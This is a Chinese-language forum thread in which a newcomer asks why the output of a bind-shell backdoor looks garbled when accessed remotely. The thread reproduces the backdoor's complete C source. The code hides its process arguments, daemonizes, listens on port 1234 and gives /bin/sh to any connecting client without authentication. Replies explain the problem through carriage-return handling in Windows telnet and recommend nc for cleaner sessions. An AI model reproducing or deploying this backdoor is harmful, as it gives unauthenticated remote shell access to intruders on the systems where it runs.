运行了bindshell这个程序以后,用别的电脑进入这个程序监听的端口,进去以后,发现那些输出的字符串的位置并不是我们平常看到的那样,要是使用ls -l显示就更明显了!他们的位置是按照一定的规则显示,但是这位置却是不正常的!不知道这个问题怎么解决?
如果要解决这个问题该怎么添加代码?
要解决该用到什么知识?是输出重定向吗?
刚开始接触这些东西,真希望有人能指点一下!就算不懂也帮我顶一下好吗?
代码是ayazero给的那个!
*
* Unknown author.
*/
#define PORT 1234
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'x0',strlen(argv[i]));
};
strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
telnetd服务段的代码有多长?bindshell.的代码多长?
bindshell只是让你exec command,并没有完整的远程登录协议支持终端会话控制
envymask
这个问题,就让愚人来解释一下:
归根结底,还是回车控制符在作怪。
还有就是Windows下面的Telnet.exe不够智能化。
Windows下面的Telnet.exe默认发送的命令结束符是按照标准的Telnet协议来的,以/r作为命令结束符,且命令结束,敲回车时,只发送一个/r字符作为结束。但在上面的bindshell.c中,明显没有处理好各种命令结束符,一律以/n来作为命令结束符。这时候,不管你输入什么东西,都看不到预期的结果,只能看到一些光标一样的东西一闪一闪地,因为没有发送/n作为命令结束符,所以Telnetd认为命令还没有输入完,所以永远看不到结果。解决办法是设置telnet的环境变量set crlf,这样,在telnet.exe中敲回车,发送的是/r/n,虽然命令可以执行成功,但必须在命令最后多敲一个“;”号,而且格式非常乱,最后还会冒出一个“: command not found”,就像楼猪说的那样。
为什么会造成这样的问题呢?先来解决第一个问题,因为命令结束后,敲入回车,Telnet.exe发送的是/r/n,bindshell.c会认为/n前面的都是命令,当然也把/r包括进去了,比如输入“ls”,真正发送到bindshell.c的字符串其实是“ls/r/n”,bindshell.c就认为/n是命令结束符,把/n去掉,留下的就是“ls/r”而不是“ls”,当然,这个命令是不存在的,所以会返回: command not found。要想达到真正ls命令的目的,就要发送“ls;”,这时发送到bindshell.c的字符串是“ls;/r/n”,除去/n控制字符,剩下的就是“ls;/r”,为什么现在就能执行成功了呢?是因为那是两条命令,中间被“;”字符分割开了。分别执行了“ls”和“/r”命令,当然,第一个是肯定可以执行成功的,但第二条“/r”命令不会执行成功,因为没有“/r”命令,它只是一个控制字符。所以,在ls命令反回成功之后 ,会紧跟着一个: command not found。第二个问题,为什么返回的ls结果,会杂乱无章呢,这个也是因为Telnet.exe没有把bindshell.c的返回结果处理好,bindshell.c返回的行尾是以/n结束的,我想,如果是/r/n来结束,应该会按预期想像的那样把结果打印到控制台。
Unix下面的Telnet客户端就比Windows下面的智能一些了,它会自动判断当前会话是否Telnet协议,如果不是,则发送/n作为命令结束符,那么这样正合bindshell.c的意思,一切如故。
NC也比较傻瓜,也是命令/n作为命令结束符,但以/n作为命令结束符,也符合bindshell.c的意愿,所以不管是在Windows下,还是Unix下,使用NC连接都可以达到预期的效果。
我上面所说的,都是自已抓包分析得到的结果,如果说错了,表拿鸡蛋砸我,我可没收钱。